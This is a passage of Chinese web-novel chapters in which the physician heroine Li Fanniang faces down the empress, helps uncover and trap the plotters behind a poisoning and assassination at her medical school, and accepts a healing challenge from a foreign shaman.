《夺回享福命,炮灰长媳夫贤妻贵》 第一百三十九章 皇后娘娘 坤宁宫的气氛与福宁宫截然不同。 福宁宫是肃穆的,坤宁宫则是压抑沉闷的,空气中弥漫着檀香的味道。 李梵娘和杜仁绍在内侍的引领下步入殿内。 皇后端坐于凤椅之上,脸色阴沉得能滴出水来,保养得宜的手紧紧攥着扶手,指节泛白。 她身边站着几个女官。 “臣(臣妇)参见皇后娘娘。”两人躬身行礼。 “免礼。”皇后的声音冰冷,但仔细听会发现有些颤抖。 她的目光像淬了毒的针,死死钉在李梵娘身上,仿佛要将她生吞活剥。 “李夫人,好大的威风,好大的本事,竟能引得陛下震怒,将本宫的静姝禁足宫中!你究竟给陛下灌了什么迷魂汤?!” 李梵娘神色平静,不卑不亢:“皇后娘娘言重了。臣妇不敢。陛下圣明烛照,秉公处置。” “三公主殿下之事,自有陛下明断。臣妇只是据实以告,不敢有丝毫欺瞒。” “据实以告?”皇后猛地一拍扶手,声音拔高,带着愤怒。 “好一个据实以告!你拿着那块不知从哪里捡来的破布!拿着那些刻着乱七八糟字迹的凶器!就敢污蔑本宫的静姝是谋逆主使?” “李梵娘!你好毒的心肠!静姝不过是性子直率,言语间冲撞了你几句!你竟如此睚眦必报,要置她于死地吗?!” “皇后娘娘!”杜仁绍上前一步,挡在李梵娘身前。 “教习局一案,投毒、纵火、刺杀,证据确凿,三公主殿下虽未直接参与,但布料出现在案发现场,其言行举止又多有可疑之处。” “陛下命九殿下彻查,正是为了还三公主殿下清白,娘娘如此激动,反倒显得心虚!莫非…娘娘知道些什么内情?” “放肆!”皇后气得浑身发抖,指着杜仁绍,“杜仁绍!你竟敢如此对本宫说话?!你眼里还有没有尊卑?” “本宫是皇后!是静姝的母后!本宫维护自己的女儿,何错之有?” “倒是你!为了一个村妇,竟敢顶撞本宫!纵容她构陷公主!你…你简直是无法无天!” “臣不敢。”杜仁绍微微躬身,语气依旧强硬。 “臣只知国法纲纪,只知陛下旨意,教习局乃陛下钦命重地。” “我夫人乃朝廷一品诰命,遇刺受伤,乃国朝大事,任何与此案有关联者,无论身份贵贱,皆应接受调查。” “此乃天经地义,若皇后娘娘认为臣维护夫人、维护国法纲纪是错,那臣甘愿领罪,但此案,必须一查到底!” “你…你…”皇后被杜仁绍一番话堵得哑口无言,脸色由红转青。 她深知杜仁绍在军中的威望和皇帝的信任,更知道他是个说一不二、软硬不吃的性子,硬碰硬,她讨不到半点便宜。 她深吸一口气,强行压下怒气,目光转向李梵娘,语气忽然变得“柔和”起来,却带着令人毛骨悚然的阴冷。 “李夫人…本宫知道,静姝性子不好,得罪过你。本宫替她向你赔个不是。”她说着,竟真的微微欠了欠身。 李梵娘心中警铃大作,皇后这人,根本不可能道歉。 “皇后娘娘折煞臣妇了。”李梵娘连忙躬身回礼。 “唉…”皇后叹了口气,脸上露出一丝“悲悯”,“静姝这孩子…从小被本宫宠坏了,不懂事。” “她心里…其实苦啊!她钟情镇国公多年,一片痴心,却…却落得如此下场…她心里有怨,有恨,说话做事难免失了分寸…” “本宫知道,她那些混账话,伤了你和国公爷的心…本宫代她向你们赔罪!” 皇后说着,眼中竟泛起了泪光:“李夫人,你也是做母亲的人,应该能理解本宫的心情!” “静姝她…她只是一时糊涂,她绝不可能做出那等大逆不道之事,那布料…或许是哪个手脚不干净的宫女太监偷了去,被人利用了。” “那标记…定是有人栽赃陷害,想挑拨离间!李夫人!你医术通神,仁心仁术!求你…求你高抬贵手!放过静姝吧!” “只要你能在陛下面前替静姝说句话…本宫…本宫和静姝,定当铭记你的大恩大德!必有厚报!” 这是?软硬兼施,又威逼利诱啊? 啧啧,不得不说,这皇后为了女儿,真是煞费苦心。 李梵娘心中冷笑。 放过李静姝? 那谁来放过那些无辜中毒的学员? 谁来放过差点被毒死的刘二柱? 谁来放过她自己? 李静姝的“一时糊涂”,可是要人命的! “皇后娘娘,”李梵娘抬起头,“臣妇理解娘娘爱女之心。” “但此案,非是臣妇一人之事,它关乎教习局数十名学员的安危,关乎皇家威严,关乎朝廷法度。” “更关乎…那些因李静姝公主的‘一时糊涂’而险些丧命的无辜者。” “臣妇若徇私枉法,罔顾事实,如何对得起陛下信任?如何对得起那些信任臣妇的学员?如何对得起自己的良心?” 她微微一顿,“至于证据…皇后娘娘请放心,九殿下和杜将军定会秉公执法,彻查到底。” “若三公主殿下真是清白的,证据自然会还她一个公道,若真有人栽赃陷害,也定会揪出幕后黑手。” “但若…证据确凿,证明三公主殿下确与此案有关…那也请娘娘…节哀顺变!” “你…!”皇后猛地站起身,指着李梵娘,气得浑身哆嗦,脸上的表情瞬间变得怨毒狰狞。 “好!好一个铁石心肠的李夫人!好一个仁心仁术!本宫今日算是见识了!” “你给本宫等着!静姝若是有个三长两短!本宫…本宫绝不会放过你!” “皇后娘娘息怒!”杜仁绍再次上前,将李梵娘护在身后,“我夫人所言,句句在理,此案自有国法公断,娘娘若再出言威胁朝廷命官,休怪臣…据实禀报陛下!” “滚!都给本宫滚出去!”皇后歇斯底里地吼道。 李梵娘和杜仁绍不再多言,躬身一礼,转身离开坤宁宫。 走出宫门,被冷风一吹,李梵娘才觉得胸口的憋闷散去些许。 “没事吧?”杜仁绍握住她的手,眼中带着关切。 “没事。”李梵娘摇摇头,回握了一下他的手,“只是…觉得有些累。” 第一百四十章 线索 “有我在。”杜仁绍紧了紧她的手,“皇后和三公主,翻不起大浪。李睿那边,已经开始行动了。” 李梵娘点点头,心中稍安。 她知道,杜仁绍和李睿联手,能力不低。 回到镇国公府,李梵娘刚想休息片刻,张贵又匆匆来报:“夫人!教习局周院正派人急报!刘二柱…刘二柱醒了!但…但情况有些不对!” 李梵娘和杜仁绍立刻赶到教习局安置伤员的区域。 这里戒备森严,玄甲军士兵五步一岗,十步一哨,气氛凝重。 周院正和几名助手正围在刘二柱的床边,神情焦虑。 刘二柱躺在床上,脸色依旧苍白,眼神却异常惊恐,身体微微颤抖着,口中发出含糊不清的呓语,“…鬼…鬼火…蓝…蓝色的…火…别过来…别过来…” “夫人!您可来了!”周院正看到李梵娘,如同见到救星。 “刘二柱半个时辰前醒了!但神志不清!一直胡言乱语。”“说什么‘鬼火’、‘蓝火’、‘别过来’…像是受了极大的惊吓!脉象紊乱,气血翻腾!用了安神药也不见好!” 李梵娘快步上前,仔细检查刘二柱的状况。 瞳孔散大,对光反应迟钝,呼吸急促,心率过速,体温偏高。 这更像是…精神受到了强烈刺激。 “蓝色的火…”李梵娘心中一动,那个暗器? 七皇子李珩的“幽焰”死士,据说行动时,有时会使用蓝色磷火作为信号或恐吓手段。 “刘二柱!看着我!”李梵娘俯下身,声音带着安抚人心的力量。 “告诉我,你看到了什么?蓝色的火?在哪里看到的?” 刘二柱浑浊的眼神似乎聚焦了一些,他死死盯着李梵娘,嘴唇哆嗦着。 “柴房…后…后窗…蓝…蓝色的火飘…飘着…还…还有…一个影子穿黑衣服蒙着脸眼睛好亮…” “像鬼一样,他朝我…吹…吹了一口气…我…我就…就什么都不知道了…” 李梵娘和杜仁绍对视一眼,都看到了对方眼中的精光,刘二柱昏迷前的记忆这很可能是关键线索。 “他吹气之前,你在做什么?”李梵娘追问。 “我…我…”刘二柱努力回忆着,脸上露出痛苦之色,“我肚子疼,去柴房后面解,刚蹲下就看到那蓝火然后…” “他吹气之后,你就晕倒了?”李梵娘确认。 “嗯…嗯…”刘二柱虚弱地点头,“后…后来…就…就什么都不知道了…” “吹气…”李梵娘眉头紧锁。 凶手可能是在刘二柱如厕时,通过后窗缝隙,用吹管将毒粉吹到了他身上。 然后刘二柱在不知情的情况下,带着沾染毒粉的手去接触了羊肠线练习包,最终导致中毒。 “柴房后窗在哪里?带我去!”杜仁绍立刻下令。 很快,众人来到教习局后院的柴房。 柴房后窗位置偏僻,靠近围墙,窗外是一片杂草丛生的荒地。 窗棂是木制的,有几处缝隙。 杜仁绍检查窗棂缝隙,果然在其中一个缝隙边缘,发现了一点点白色粉末残留。 “王猛!取水来!小心收集!”杜仁绍沉声道。 王猛立刻取来干净的小瓶和小刷子,小心翼翼地将粉末收集起来。 “周院正!立刻检验!”李梵娘吩咐道。 周院正不敢怠慢,立刻取出一部分粉末,用银针、醋、甚至找来一只活鸡做实验。 结果很快出来:粉末含有砒霜和马钱子碱成分,与羊肠线上的毒一样。 “找到了!”周院正激动道,“夫人!将军!就是这种毒粉!通过吹管从窗外吹入,沾染在刘二柱身上!导致他中毒!” “好!”杜仁绍眼中寒光一闪,“王猛!立刻带人搜查窗外荒地!一寸一寸地搜!寻找任何可疑物品!尤其是吹管!” “得令!”王猛立刻带人行动起来。 李梵娘则回到刘二柱床边,和系统拿了神经修复药剂和安神药物,给他喂下。 刘二柱的情况渐渐稳定下来,沉沉睡去。 “看来,凶手是翻墙而入,潜伏在柴房后窗外,伺机下手。”李梵娘分析。 “目标就是刘二柱,或者…是随机挑选了落单的学员,目的就是制造中毒事件,引发混乱。” “嗯。”杜仁绍点头,“手法专业,心思歹毒。绝非普通宵小。李睿那边,应该也有进展了。” 话音刚落,李睿便带着几名亲卫,风风火火地赶了过来,脸上带着兴奋和凝重。 “仁绍,梵娘,有重大发现!” 李睿屏退左右,只留下杜仁绍和李梵娘,压低声音道:“我派人彻查了内务府去年赏赐给三皇姐的那批藕荷色苏锦的去向。” “结果发现…其中一匹,在三个月前,被三皇姐宫里的一个二等宫女,名叫翠儿的,以‘不慎污损’为由,报损处理了。” “而负责处理这批‘废料’的太监…正是内务府采买司的一个小管事,名叫小德子!” “小德子?”杜仁绍眼神一凝。 “对!” “这个小德子,表面上是内务府的人,但暗地里…是七皇兄以前安插在宫里的眼线之一。” “七皇兄倒台后,他隐藏得很深,一直没被发现,我的人顺藤摸瓜,发现这个小德子,在教习局出事前几天,曾秘密出宫。” “与一个行踪诡秘的药铺伙计接触过,而那家药铺…正是城西百草堂。” 线索串起来了,三公主李静姝宫里的宫女“污损”了贡品苏锦,内务府负责处理“废料”的太监小德子是七皇子旧部。 小德子将布料转交给百草堂的人,百草堂的羊肠线被下毒。 同时,小德子可能还提供了毒粉给杀手,杀手利用毒粉和吹管,袭击了刘二柱。 “小德子人呢?”杜仁绍立刻问道。 “跑了!”李睿脸色一沉,“就在我的人查到他的当天晚上,他就失踪了,活不见人,死不见尸,我怀疑…是被灭口了!” “灭口…”李梵娘心中凛然。动作好快。 “还有!”李睿继续道,“我派人暗中监视三皇姐的静宜宫。发现就在父皇下旨禁足后不久,三皇姐的心腹大宫女玉屏,曾偷偷溜出宫一趟。” “去了一家…名为‘醉仙楼’的酒楼,而据线报,那家酒楼的后台老板…是承恩侯府。” 承恩侯府? 第一百四十一章 引蛇出洞 李梵娘和杜仁绍同时一惊,承恩侯府是皇后的娘家? 也是三公主李静姝的外祖家? “玉屏在醉仙楼见了谁?”杜仁绍追问。 “一个蒙面人!”李睿沉声道,“看不清样貌。但据我们安插在酒楼的眼线描述,那人身形瘦高,左耳下方有一道明显的刀疤,说话带着一点…北地的口音。” 北地口音?刀疤? 李梵娘脑中猛地闪过一个画面,在河西府王家村时,那个被七皇子李珩派来刺杀杜仁绍的死士首领。 那个脸上带着狰狞刀疤的疤脸汉子,他当时逃了。 “是他!”李梵娘脱口而出,“七皇子李珩的旧部!那个疤脸死士!” “没错!”李睿眼中寒光更盛,“我查过卷宗!七皇兄麾下死士的头目之一,绰号‘鬼刀’,左耳下方就有一道刀疤。” “是当年在边关与狄人作战时留下的,此人凶悍狡诈,七皇兄倒台后便销声匿迹,没想到…竟然投靠了承恩侯府,或者说…投靠了三皇姐。” 线索串起来了。 三公主李静姝因为嫉恨李梵娘和杜仁绍,勾结了母族承恩侯府。 承恩侯府暗中收留了七皇子残余的死士,利用七皇子旧部惯用的“幽”字标记和手段,策划了教习局投毒纵火刺杀。 目的就是除掉李梵娘,毁掉教习局,报复杜仁绍。” “同时,嫁祸给七皇子余孽,混淆视听。” “好一个借刀杀人!一石二鸟。”杜仁绍声音冰冷,“承恩侯府!李静姝!真是好大的胆子!” 李睿握紧拳头,“宫女翠儿、太监小德子、百草堂孙掌柜、杀手。” “这些人证物证,足以指向承恩侯府和三皇姐,我这就进宫禀报父皇,请旨拿人。” “等等!”李梵娘突然开口,眉头微蹙,“殿下,证据看似完整,但关键人证…翠儿、小德子、孙掌柜都死了。” “‘鬼刀’行踪不明,仅凭玉屏出宫见了一个‘疑似’鬼刀的蒙面人,以及布料流转的线索…恐怕…还不够。” “承恩侯府和三公主完全可以矢口否认,甚至反咬一口,说我们栽赃陷害。” 李睿和杜仁绍闻言,都冷静下来。 李梵娘说得没错。 宫廷斗争,最重证据,尤其是牵扯到皇后母族和公主。 没有铁证,很难将其定罪,反而可能打草惊蛇。 “那…依梵娘之见?”李睿问道。 “引蛇出洞!打草惊蛇!” “哦?”杜仁绍眼中精光一闪。 “殿下,”李梵娘看向李睿,“您不妨…大张旗鼓地继续调查!重点放在追查杀手的下落和那批毒粉的来源上。” “放出风声,说已经掌握了关键线索,很快就能揪出幕后真凶。” “同时…派人严密监视承恩侯府和静宜宫,尤其是那个大宫女玉屏。” “梵娘是想…逼他们狗急跳墙?”李睿立刻明白了。 “对!”李梵娘点头,“承恩侯府和三公主现在一定如坐针毡,他们知道我们查到了承恩侯府这条线。” “如果我们步步紧逼,他们为了自保,很可能会再次出手。” “要么除掉最后把那鬼刃灭口,要么…再次铤而走险,对我们下手。我们就能在他们行动时,人赃并获。” “好主意。”杜仁绍赞道,“就这么办,殿下,你负责明面上的追查和施压,暗中的监视和布防,交给我。” “没问题。”李睿点头应下。 三人又详细商议了行动计划,确保万无一失。 离开教习局时,天色已晚。 杜仁绍和李梵娘并肩走在回府的路上。 寒风凛冽,杜仁绍脱下自己的大氅,披在李梵娘身上。 “累了吧?”他低声问,声音带着关切。 “还好。”李梵娘紧了紧大氅,感受着残留的体温,“只是…觉得这京城的水,比战场上的血还深。” “有我在。”杜仁绍握住她的手,“不管水里藏着什么妖魔鬼怪,我都会把它们揪出来。” 回到镇国公府,刚进院子,春儿就扑了过来:“娘!爹!你们回来啦!” 李梵娘笑着抱起女儿:“春儿今天乖不乖?” “乖!”春儿用力点头,献宝似的举起一张画,“娘!你看!我画的!” 画纸上画着三个人:高大威武的父亲,温柔美丽的母亲,还有中间扎着小辫子的自己。 三个人手牵着手,站在一座漂亮的房子前,房子上歪歪扭扭地写着“家”字。 旁边还画着几株草药和银针。 “画得真好!”李梵娘亲了亲女儿的脸,心中一片柔软。 杜仁绍也凑过来看,脸上露出笑意:“嗯,不错。就是爹画得有点凶。” “爹才不凶呢!”春儿搂住杜仁绍的脖子,“爹最好了!” 一家三口其乐融融。 深夜,万籁俱寂。 一道黑影悄无声息地潜入了镇国公府后花园的假山深处,他环顾四周,确认无人跟踪后,才从怀中掏出一个小竹筒塞进假山底部的石缝中。 然后,黑影迅速消失在夜色中。 黑影消失后不久,另一道身影从假山旁的阴影中走出来。 那人影走到石缝前,取出了那个小竹筒,打开看了一眼,嘴角勾起一抹冷笑。 月光下,隐约可见那人影的袖口上,绣着一个“幽”。 取出竹筒的身影迅速消失在阴影中,如同从未出现过。 片刻后,王猛带着两名亲卫悄然出现在假山旁,对着暗处做了个手势。 镇国公府书房内,灯火通明。 杜仁绍、李梵娘、李睿三人围坐桌旁。 桌上摊开放着那个油布竹筒,里面是的纸条上,用暗语写着一行字:“子时三刻,城西乱葬岗,老槐树下,取‘货’。” “货?”李睿眉头紧锁,“什么货?毒药?武器?还是…新的指令?” “不管是什么,”杜仁绍眼神冰冷,“这条鱼,必须钓上来! “王猛!” “末将在!”王猛应声而入。 “城西乱葬岗,老槐树周围,布下人手,子时三刻,我要看到来取‘货’的人。” “记住,要活的。” “得令!”王猛领命而去。 “殿下,”杜仁绍看向李睿,“静宜宫那边…” “放心!”李睿眼中寒光一闪,“玉屏和静宜宫现在连一只苍蝇都飞不出去。” “梵娘,”杜仁绍转向李梵娘,语气柔和了些,“你留在府里,照顾春儿。外面的事,交给我们。” 第一百四十二章 禁足 李梵娘点点头:“你们小心。对方穷凶极恶,必然有后手。” 她意念微动,从系统商城拿了几支强效麻醉针剂和解毒剂,递给杜仁绍和李睿:“带上,以防万一。” 杜仁绍和李睿没有推辞,废话,媳妇儿(梵娘)给的,那必然得要,能保住小命呢。 子夜时分,城西乱葬岗。 寒风呼啸,卷起地上的枯叶和尘土。 月光照在荒坟野冢之上,更添几分阴森恐怖。 老槐树下,一个身形瘦高的黑影出现。 他警惕地环顾四周,确认无人后,迅速蹲下身,在树根处摸索着。 很快,他挖出了一个用油布包裹的严严实实的小木盒。 就在他拿起木盒的瞬间。 “咻!咻!咻!” 数支涂抹了麻药的弩箭从不同方射出,射向黑影的四肢关节。 那黑影反应极快,猛地一个翻滚,险险避开要害。 同时手中寒光一闪,一把淬毒的匕首已握在手中。 “动手!”王猛一声暴喝。 埋伏在四周的玄甲军从坟包、枯树后冲出,瞬间将黑影包围。 “哼!雕虫小技!”黑影发出一声冷哼,动作迅捷狠辣,招招致命。 竟在数名精锐的围攻下游刃有余,甚至反手划伤了两名士兵。 “好身手!”王猛眼神一凝,亲自拔刀冲了上去。 黑影不敢硬接,侧身闪避,同时甩手射出几枚飞镖,直取王猛面门。 王猛挥刀格挡!“叮叮当当!”飞镖被磕飞 但黑影也趁机拉开距离。 “放网!”王猛大喝! 一张浸了桐油和麻药的渔网从天而降,瞬间罩向黑影。 黑影眼中闪过一丝厉色,手中匕首猛地向上划去,试图割破渔网。 但那渔网材质特殊,匕首划过,只留下浅浅的白痕。 “噗!” 渔网落下,将黑影牢牢罩住。 同时,几支麻醉针剂射入他未被覆盖的腿部。 “呃啊!”黑影闷哼一声,挣扎了几下,动作变得迟缓,最终瘫软在地,被渔网紧紧缠住。 “拿下!”王猛上前,一把扯下黑影的面巾。 一张布满风霜、左耳下方带着一道刀疤的脸暴露出来,正是“鬼刀”。 “鬼刀!果然是你!”王猛冷笑一声,一脚踩在他胸口,“带走!” “鬼刀”被捕的消息,在京城传开。 李睿连夜提审。在杜仁绍的“特殊关照”下,加上从他身上搜出的剧毒药粉、吹管、以及那个木盒(里面是数瓶烈性毒药和一张静宜宫的简易地形图)。 他供认不讳,承认受承恩侯府管家指使,收买百草堂孙掌柜,在羊肠线上涂抹毒药。 潜入教习局,用吹管袭击刘二柱;制造混乱后,趁乱刺杀李梵娘。 所有行动指令,都通过玉屏传递,而玉屏,正是三公主李静姝的心腹大宫女。 人证物证俱全。 翌日清晨,承恩侯府被玄甲军团团包围,承恩侯及府中一干人等被缉拿下狱。 静宜宫被彻底封锁,大宫女玉屏被当场拿下,三公主李静姝被御前侍卫“请”到福宁宫。 福宁宫内。 皇帝端坐龙椅,脸色铁青,气的眼睛都快喷火了。 皇后跪在一旁,面无人色,泪流满面。 李静姝被两名侍卫押着,跪在殿中央,浑身颤抖,妆容哭花,再无半分骄纵之气,只剩下恐惧。 李睿、杜仁绍、李梵娘肃立一旁。 “孽障!”皇帝猛地一拍御案,震得茶杯跳起。 “你…你竟敢勾结外戚!豢养死士!投毒纵火!刺杀朝廷命官!谋害无辜!” “你…你眼里还有没有朕!有没有祖宗家法!有没有江山社稷?!” “父皇!父皇饶命啊!”李静姝涕泪横流,拼命磕头。 “儿臣…儿臣是一时糊涂!是…是承恩侯府的人…是他们怂恿儿臣!是他们说…说只要除掉李梵娘…” “杜仁绍就会回心转意…儿臣…儿臣是被他们骗了!父皇!饶了儿臣吧!儿臣再也不敢了!” “骗了?”皇帝怒极反笑,“李静姝!你真当朕是傻子吗?!玉屏是你的心腹!‘鬼刀’是你外祖家豢养的恶犬!” “投毒纵火刺杀!哪一件不是要人性命?!哪一件不是诛九族的大罪?!你一句‘被骗了’就想推脱干净?!你当国法是儿戏吗?!” “陛下!陛下息怒!”皇后扑倒在地,哭喊着,“静姝她…她年幼无知!是被奸人蒙蔽!求陛下饶她一命吧!臣妾愿代她受罚!” “年幼无知?”皇帝冷冷地看着皇后,“她今年二十有三!还年幼无知?” “皇后!你教女无方!纵容包庇!酿此大祸!还有脸求情?” 皇后瘫软在地,泣不成声。 皇帝深吸一口气,强压下心中的怒气和失望,目光扫过李睿、杜仁绍和李梵娘。 “此案,证据确凿!三公主李静姝,勾结外戚,豢养死士,谋害朝廷命官,罪大恶极!”“承恩侯府,助纣为虐,罪不容诛!尔等以为,该如何处置?” 李睿上前一步,躬身道:“父皇!三皇姐罪孽深重,按律当诛!承恩侯府,满门抄斩!”“然…念及皇室血脉,母后之情…儿臣斗胆,请父皇法外施恩,留三皇姐一命!” “但死罪可免,活罪难逃!当削去公主封号,贬为庶人,终身幽禁!承恩侯府,夺爵抄家,主犯斩首,余者流放三千里!永不叙用!” 杜仁绍也上前一步,“末将附议!三公主死罪可免,但必须严惩!以儆效尤!承恩侯府,罪无可赦,当严惩不贷!” 李梵娘没有说话。 她知道,李睿和杜仁绍的提议,已经是顾全大局,给了皇帝和皇后台阶下。 毕竟,真杀了公主,皇室颜面扫地,会引起朝局动荡。 皇帝沉默良久,目光复杂地看着跪在地上瑟瑟发抖的李静姝和哭成泪人的皇后,最终疲惫地挥了挥手:“准奏!” “三公主李静姝,削去封号,贬为庶人,即日起幽禁冷宫,非死不得出。承恩侯府,夺爵抄家,承恩侯及其子,斩立决。” “余者流放三千里!永世不得入京!皇后…教女无方,禁足坤宁宫一年!罚俸三年!以儆效尤!” “谢陛下隆恩!”李睿、杜仁绍、李梵娘躬身领旨。 “父皇!不要啊!父皇!儿臣不要去冷宫!母后!救救我!救救我啊!”李静姝绝望的哭喊,被侍卫拖了下去。 皇后瘫软在地,眼神空洞,仿佛瞬间苍老了十岁。 走出福宁宫,李梵娘看着阴沉沉的天空,长长舒了一口气。 虽然李静姝保住了性命,但对她这种骄奢淫逸惯了的公主来说,幽禁冷宫,生不如死。 承恩侯府更是彻底完了。 第一百四十三章 结业 “梵娘,”杜仁绍握住她的手,“委屈你了。” 李梵娘摇摇头:“没什么委屈的。这样的结果,已是最好的了。至少,教习局安全了。” 李睿也走过来,脸上带着释然:“总算解决了。教习局的重建,要加快进度了。另外…父皇让我转告你,教习局首期学员的结业典礼,将在下月初举行。” “届时,父皇会亲临主持!还有…北狄、西羌、南诏等国的使团,也将在近期抵京,朝贺父皇圣体康复。” “父皇有意在结业典礼后,举办国宴,款待各国使节,同时…展示我大胤新医道的风采!梵娘,这可是扬名立万、震慑番邦的好机会!” 国宴?各国使节?展示新医道? 李梵娘心中一动。 这确实是一个绝佳的机会! 不仅能宣扬医术,更能提升大胤的国威! “臣妇定当全力以赴!”李梵娘应道。 李睿犹豫了一下,压低声音道:“还有一事…父皇私下透露…北狄使团此次前来,除了朝贺,似乎…还有意为其新继位的可汗…求娶一位大胤公主,以结秦晋之好…” 教习局的重建工作在皇帝的旨意和工部的全力配合下,以惊人的速度推进。 李梵娘几乎住在了教习局。 她亲自监督每一个细节。 系统商城提供的“初级环境净化符文”也用上了,她还将外科解剖、药理知识、急救流程直接灌输给五十名学员中最优秀的几人,大大加速了教学进程。 首批学员的结业考核异常严格。 理论考试、药材辨识、缝合打结、骨折固定、清创包扎、甚至模拟手术操作… 每一项都由李梵娘和周院正亲自把关。 最终,五十名学员中,有四十五人顺利通过考核,获得了由皇帝御笔亲题的“皇家医药教习局首届医工”的结业证书和一枚象征身份的铜制徽章。 其中,刘二柱等十人表现尤为突出,被授予“优秀医工”称号,并留任教习局担任助教。 结业当日,万春园张灯结彩,喜气洋洋。 皇帝亲临主持,九皇子、杜仁绍等重臣悉数到场。 学员们身着崭新的青色学员服,脸上洋溢着激动和自豪。 李梵娘作为教习局提督,站在高台之上。 她一身素雅的月白长裙,外罩特制的棉布罩衫,身姿挺拔。 当她宣布首批学员顺利结业时,台下爆发出雷鸣般的掌声。 皇帝亲自为优秀学员颁发证书和徽章,并且说几句话,勉励学员们以“仁心仁术”济世救人。 典礼结束后,是技能展示环节。 学员们分组演示了战场急救、中毒急救、外科缝合、以及利用显微镜观察细菌和药物杀菌效果等。 让在场的所有官员和受邀观礼的京城名医们叹为观止。 尤其是当一名学员在模拟手术中,成功为一只腿部骨折的兔子进行内固定手术,兔子术后不久就能蹒跚行走时,全场惊呼。 “神乎其技!真是神乎其技!” “有此医术,何愁我大胤将士不保!” “李夫人真乃当世医仙!开万世之先河!” 赞誉之声不绝于耳。 李梵娘站在人群中,看着学员们,看着皇帝和重臣们眼中的赞赏,心中充满了成就感。 结业典礼圆满结束。 当晚,镇国公府设宴,为李梵娘庆功,也为即将到来的国宴做准备。 席间,杜仁绍看着李梵娘略显疲惫却神采飞扬的脸,眼中满是骄傲和柔情。 他举起酒杯:“梵娘,辛苦了。敬你!” 李梵娘含笑举杯:“同喜。没有你,没有九殿下,没有大家的支持,我一个人做不成。” 春儿也举起小杯子,奶声奶气地说:“敬娘!娘最厉害!” 一家人其乐融融。 酒过三巡,杜仁绍放下酒杯。 “今日收到边关急报。北狄新可汗阿史那咄吉,已率使团启程,预计十日后抵京。西羌、南诏的使团也已入境。国宴…定在半月后。” 李梵娘点点头:“时间有点紧,但教习局那边可以准备几个展示项目。主要是外科急救和药物展示。” “嗯。”杜仁绍沉吟道,“北狄使团…来者不善。除了朝贺,和亲之事,恐怕是他们的主要目的。” “和亲?”李梵娘眉头微蹙,“陛下…会答应吗?” “难说。”杜仁绍摇头,“北狄近年来势力渐强,咄吉更是野心勃勃。若直接拒绝,恐生边衅。” “但适龄的公主…除了刚被幽禁的李静姝,就只有年幼的八公主和九公主了…陛下未必舍得。” 李梵娘心中一动:“那…李静姝?” 杜仁绍眼中闪过一丝冷芒:“她?哼!一个被幽禁的庶人!若能用她换取边关数年太平,对陛下而言…未尝不是一件好事!” 李梵娘默然,政治联姻,向来冰冷无情。 李静姝的命运,已经注定了。 “还有一事,”杜仁绍压低声音,“西羌使团中,据说有一位身份特殊的‘巫医’,精通毒蛊之术。南诏使团也带了他们的‘大祭司’。” “这些人…恐怕是冲着你的新医道来的!想在国宴上,给你个下马威!” “下马威?”李梵娘嘴角勾起,“那就让他们见识见识,什么是真正的医术!” 就在这时,管家张贵匆匆进来,拿着一张请柬:“老爷夫人,九王府派人送来的!说是…西羌使团提前抵京!其副使‘巫医’摩罗,听闻夫人医术通神,特下战书!” “邀夫人三日后,于‘万春园’教习局内,切磋医术!以‘生死人肉白骨’为题!赌注…是西羌国宝‘雪域灵芝’!” 西羌巫医摩罗的挑战书,在京城掀起了轩然大波! “生死人肉白骨”?这题目何其狂妄!何其刁钻!这分明是要李梵娘起死回生!这怎么可能?! “夫人,这西羌蛮子分明是故意刁难,想让你当众出丑!不能答应啊!”周院正闻讯赶来,急得满头大汗。 “是啊!夫人!‘生死人肉白骨’乃仙家手段!凡人岂能为之?这摩罗居心叵测!”其他几位太医也纷纷劝阻。 李梵娘看着那份充满挑衅的挑战书,脸上却露出一丝玩味的笑容。 她问周院正:“周大人,可知这‘雪域灵芝’是何物?” 第一百四十四章 挑战书 周院正一愣,随即眼里满是兴奋,“雪域灵芝?那可是传说中的神药!生长于西羌雪域之巅,千年难遇!” “据说有活死人、肉白骨、延寿续命之神效!是西羌国宝!从不示人!” “活死人?肉白骨?”李梵娘轻笑一声,“那正好!就用它来试试,是他们的神药厉害,还是我们的医术高明!” “夫人!您…您真要去?”周院正惊愕道。 “去!为何不去?”李梵娘眼神锐利,“人家都打上门来了,岂能退缩?” “正好借此机会,让这些番邦蛮夷见识见识,什么是真正的‘生死人肉白骨’!” 她意念微动,【系统,商城有没有那种…能制造假死状态,或者快速修复严重创伤的药物?】 【叮!宿主大大!当然有!推荐‘深度冬眠诱导剂’!注射后可使目标进入深度假死状态72小时,生命体征微弱近乎消失。” “配合‘纳米级组织修复凝胶’,可在短时间内修复大部分非致命性物理创伤,但这个是需要医德值的!】 系统兴奋地推荐。 【兑换吧。】 医德值她现在多得是。 【叮!兑换成功!‘深度冬眠诱导剂’x1支,‘纳米级组织修复凝胶’x1份已放入空间!】 有了这两样东西,李梵娘的心放下了。 消息传开,整个京城都沸腾了。 西羌巫医挑战大胤医仙,赌注是国宝雪域灵芝,题目是“生死人肉白骨”,这简直是百年难遇的奇闻。 三日时间转瞬即逝。 万春园教习局再次成为焦点。 皇帝特旨,允许部分官员、名医和外国使节入场观礼。 教习局最大的讲堂被临时布置成比试场地。 李梵娘神情平静地站在场地一侧。 她的对面,是一个身形干瘦、穿着五彩斑斓的袍服、脸上涂着油彩、眼神阴鸷的老者西羌巫医摩罗。 他身后站着几名同样打扮怪异的随从,抬着一个盖着黑布的大笼子。 “李医仙。”摩罗操着生硬的大胤官话,声音沙哑刺耳。 “久闻大名,今日,就让你我,在这大胤皇帝和诸位使节面前,一较高下。” “看看是你大胤的医术通神,还是我西羌的巫术更胜一筹!” 他一把掀开黑布,笼子里赫然是一只奄奄一息、后腿被齐根斩断的成年猎犬。 那猎犬眼神涣散,气息微弱,眼看就要断气。 “此犬,乃我西羌神山守护犬之后裔!被奸人所害,断腿濒死!”摩罗指着猎犬。 “李医仙,请施展你的‘仙术’,让它‘肉白骨’,起死回生吧了。” “若你能做到,这‘雪域灵芝’,双手奉上,若做不到…哼!就请当众承认,你大胤医术,不过尔尔!向我西羌巫术俯首称臣!” “嘶——!”全场响起一片倒吸冷气声。 这怎么可能救活?这摩罗分明是故意刁难! 所有人的目光都聚焦在李梵娘身上。 李梵娘神色不变,缓步走到笼子前,仔细检查了猎犬的伤势。 后腿齐根断,失血过多,脏器功能衰竭,确实濒临死亡。 “摩罗大师,”李梵娘抬起头,平静地看着他,“你确定,只要让它‘肉白骨’,起死回生即可?无论我用什么方法?” “当然!”摩罗傲然道,“只要它能活蹦乱跳地站起来!就算你赢!” “好!”李梵娘点头,“取我的药箱来!” 助手立刻递上药箱。李梵娘打开药箱,取出那支“深度冬眠诱导剂”。 